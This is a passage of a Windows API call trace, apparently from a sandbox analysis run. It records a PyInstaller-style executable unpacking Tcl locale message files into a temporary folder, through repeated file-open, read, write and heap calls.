dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.425] GetFileType (hFile=0x10c) returned 0x1 [0037.425] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.425] CloseHandle (hObject=0x10c) returned 1 [0037.425] GetLastError () returned 0x0 [0037.425] SetLastError (dwErrCode=0x0) [0037.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.425] GetFileType (hFile=0x10c) returned 0x1 [0037.425] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.426] CloseHandle (hObject=0x10c) returned 1 [0037.426] GetLastError () returned 0x0 [0037.426] SetLastError (dwErrCode=0x0) [0037.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg") returned 64 [0037.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gv_gb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.426] GetLastError () returned 0x2 [0037.426] SetLastError (dwErrCode=0x2) [0037.426] GetLastError () returned 0x2 [0037.426] SetLastError (dwErrCode=0x2) [0037.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg", lpFilePart=0x0) returned 0x3f [0037.426] GetLastError () returned 0x2 [0037.426] SetLastError (dwErrCode=0x2) [0037.426] GetLastError () returned 0x2 [0037.426] SetLastError (dwErrCode=0x2) [0037.426] GetLastError () returned 0x2 [0037.426] SetLastError (dwErrCode=0x2) [0037.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg") returned 64 [0037.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\gv_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\gv_gb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.427] GetFileType (hFile=0x10c) returned 0x1 [0037.427] htonl (hostlong=0xfb000000) returned 0xfb [0037.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.427] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.428] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.428] CloseHandle (hObject=0x10c) returned 1 [0037.429] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.429] htonl (hostlong=0x30000000) returned 0x30 [0037.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.429] GetFileType (hFile=0x10c) returned 0x1 [0037.429] htonl (hostlong=0x226a5700) returned 0x576a22 [0037.429] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1a22, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.429] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a6) returned 0x550600 [0037.429] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.429] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.429] htonl (hostlong=0x92070000) returned 0x792 [0037.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x792) returned 0x55e278 [0037.429] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.429] htonl (hostlong=0x92070000) returned 0x792 [0037.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.430] CloseHandle (hObject=0x10c) returned 1 [0037.430] GetLastError () returned 0x0 [0037.430] SetLastError (dwErrCode=0x0) [0037.430] GetLastError () returned 0x0 [0037.430] SetLastError (dwErrCode=0x0) [0037.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.430] GetFileType (hFile=0x10c) returned 0x1 [0037.430] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.430] CloseHandle (hObject=0x10c) returned 1 [0037.430] GetLastError () returned 0x0 [0037.430] SetLastError (dwErrCode=0x0) [0037.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.431] GetFileType (hFile=0x10c) returned 0x1 [0037.431] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.431] CloseHandle (hObject=0x10c) returned 1 [0037.431] GetLastError () returned 0x0 [0037.431] SetLastError (dwErrCode=0x0) [0037.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg") returned 61 [0037.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\he.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.431] GetLastError () returned 0x2 [0037.431] SetLastError (dwErrCode=0x2) [0037.431] GetLastError () returned 0x2 [0037.431] SetLastError (dwErrCode=0x2) [0037.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg", lpFilePart=0x0) returned 0x3c [0037.431] GetLastError () returned 0x2 [0037.431] SetLastError (dwErrCode=0x2) [0037.431] GetLastError () returned 0x2 [0037.431] SetLastError (dwErrCode=0x2) [0037.431] GetLastError () returned 0x2 [0037.431] SetLastError (dwErrCode=0x2) [0037.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg") returned 61 [0037.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\he.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\he.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.432] GetFileType (hFile=0x10c) returned 0x1 [0037.432] htonl (hostlong=0x92070000) returned 0x792 [0037.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.432] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x792, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x792, lpOverlapped=0x0) returned 1 [0037.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.437] CloseHandle (hObject=0x10c) returned 1 [0037.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.438] htonl (hostlong=0x30000000) returned 0x30 [0037.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.438] GetFileType (hFile=0x10c) returned 0x1 [0037.439] htonl (hostlong=0xc86b5700) returned 0x576bc8 [0037.439] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1bc8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.439] htonl (hostlong=0x68010000) returned 0x168 [0037.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x168) returned 0x550600 [0037.439] htonl (hostlong=0x68010000) returned 0x168 [0037.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.439] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.439] htonl (hostlong=0xca060000) returned 0x6ca [0037.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6ca) returned 0x55e278 [0037.439] htonl (hostlong=0x68010000) returned 0x168 [0037.439] htonl (hostlong=0xca060000) returned 0x6ca [0037.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.439] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.439] CloseHandle (hObject=0x10c) returned 1 [0037.439] GetLastError () returned 0x0 [0037.439] SetLastError (dwErrCode=0x0) [0037.439] GetLastError () returned 0x0 [0037.439] SetLastError (dwErrCode=0x0) [0037.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.439] GetFileType (hFile=0x10c) returned 0x1 [0037.439] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.440] CloseHandle (hObject=0x10c) returned 1 [0037.440] GetLastError () returned 0x0 [0037.440] SetLastError (dwErrCode=0x0) [0037.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.440] GetFileType (hFile=0x10c) returned 0x1 [0037.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.440] CloseHandle (hObject=0x10c) returned 1 [0037.441] GetLastError () returned 0x0 [0037.441] SetLastError (dwErrCode=0x0) [0037.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg") returned 61 [0037.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hi.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.441] GetLastError () returned 0x2 [0037.441] SetLastError (dwErrCode=0x2) [0037.441] GetLastError () returned 0x2 [0037.441] SetLastError (dwErrCode=0x2) [0037.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg", lpFilePart=0x0) returned 0x3c [0037.441] GetLastError () returned 0x2 [0037.441] SetLastError (dwErrCode=0x2) [0037.441] GetLastError () returned 0x2 [0037.441] SetLastError (dwErrCode=0x2) [0037.441] GetLastError () returned 0x2 [0037.441] SetLastError (dwErrCode=0x2) [0037.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg") returned 61 [0037.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi.msg" (normalized: 